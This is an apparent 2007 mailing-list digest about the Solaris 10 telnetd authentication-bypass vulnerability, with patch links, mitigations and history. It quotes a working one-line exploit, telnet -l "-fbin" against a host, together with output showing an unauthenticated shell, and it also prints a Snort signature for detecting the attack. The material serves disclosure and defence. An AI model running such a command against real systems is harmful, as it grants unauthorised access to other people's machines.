On Sun, 11 Feb 2007, William Schultz wrote:

http://erratasec.blogspot.com/2007/02/trivial-remote-solaris-0day- disable.html

Tested on Sol10, and it indeed works... Good thing we use SSH, right?!

It works. Credit to Johannes Ullrich at the SANS ISC. I believe the vulnerability is that it is running telnet bu default.

################################ iWil:~ wschultz$ telnet -l "-fbin" dns1 Trying A.B.C.D... Connected to dns1.my.com. Escape character is '^]'. Last login: Sun Feb 11 18:11:05 from A.B.C.D Sun Microsystems Inc. SunOS 5.10 Generic January 2005 $ id uid=2(bin) gid=2(bin) $ ################################

A couple of updates and a summary digest of useful information shared from all around on this vulnerability, for those of us trying to make sense of what it means to our networks: 1. Sun released a patch (although it is not a final one). It can be found on their site ( http://sunsolve.sun.com/tpatches - thanks to Casper Dik of Sun, for those who have been following the discussion). To quote: "the simplest possible fix on such short notice": http://cvs.opensolaris.org/source/diff/onnv/onnv-gate/usr/src/cmd/cmd-inet/usr.sbin/in.telnetd.c?r2=3629&r1=2923 2. If you haven't already, I strongly recommend checking your network for machines running telnet, and more specifcially, vulnerable to this particular issue. Several folks are speaking of third-party appliances running on Solaris, as well as some back-end VoIP devices that have been confirmed as vulnerable. Apparently, telnet returns a different answer when this vulnerability is used. We are not sure yet, but Noam Rathaus brought up the option that it looks like the client responds with a "Won't Authentication Option" to the server's "Do Authentication Option". This could perhaps be used to actively detect the "attack". 3. If this solution is viable for you and you haven't already, ACLing 23/tcp at the border or from your user space may not be a bad idea, if it won't kill anything. At least for now. 4. Bleeding Edge (ex Bleeding Snort) released snort signatures for this: http://www.bleedingthreats.net/index.php/2007/02/12/solaris-remote-telnet-ro... Quoting: -------- Chris Byrd has submitted an accurate signature for the exploit. # Submitted 2007-02-12 by Chris Byrd alert tcp $EXTERNAL_NET any -> $HOME_NET 23 (msg:.BLEEDING-EDGE EXPLOIT Solaris telnet USER environment vuln.; flow:to_server,established; content: .|ff fa 27 00 00 55 53 45 52 01 2d 66|.; rawbytes; classtype:attempted-user; reference:url,riosec.com/solaris-telnet-0-day; sid:2003411; rev:1;) -------- 4. An analysis of how this vulnerability works can be found here: http://www.com-winner.com/0day_was_the_case_that_they_gave_me.pdf And blogs by Sun on how this happened and was fixed (thanks to Georg Oppenberg): http://blogs.sun.com/tpenta/entry/the_in_telnetd_vulnerability_exploit http://blogs.sun.com/danmcd/entry/how_opensolaris_did_its_job And a fine explanation by Casper Dik on Bugtraq: http://seclists.org/bugtraq/2007/Feb/0205.html 5. Apparently, this is the same vulnerability in 'login' that was in AIX in 1994: http://www.cert.org/advisories/CA-1994-09.html http://osvdb.org/displayvuln.php?osvdb_id=1007 6. Vulnerable systems: reports are unclear, some or all of Solaris 10. No earlier versions of Solaris/SunOS are vulnerable. 6. Other workarounds exist. Brad Powell suggested on Full-Disclosure: Quoting: -------- For root login; there is a setting in /etc/default/login. If CONSOLE is set, then root can only login on that device i.e. "CONSOLE=/dev/ttya" means "root" can only login on ttya device. Any other user via telnet/ssh/whatever has to login as themselves and "su" to root. This doesn't prevent telnet -l "-fbin", or -flp; for those accounts best bet is to change /etc/passwd for the shell of system-account users to /sbin/noshell or /bin/false (noshell just logs the entry and exists) Of course disabling in.telnetd in /etc/inetd.conf (and doing a pkill -HUP inetd) if possible is a safe bet, but some sites are forced to use telnetd. -------- Background: The original post on this, with the "exploit", can be found here: http://www.com-winner.com/0day_was_the_case_that_they_gave_me.pdf A bit of background: http://blogs.securiteam.com/index.php/archives/814 And some on how corporations responded as we saw from our own client base: http://blogs.securiteam.com/index.php/archives/819 Opinion: Whatever my thoughts are on how silly, sad or funny this vulnerability is (quaint really), how they use telnet (?!) and how Sun should be smacked on the back of the head for it, I have to honestly admit Sun's response and the level they were open to the community and industry on this without too many PR/legal blocks getting in their way are very encouraging, releasing information on the vulnerability, how it happened and why, a quick beta patch and even discussing openly on mailing lists. I am in awe. Now it is time for others to follow their example. This one, despite its simplicity and age is going to be with us for a while. Gadi Evron.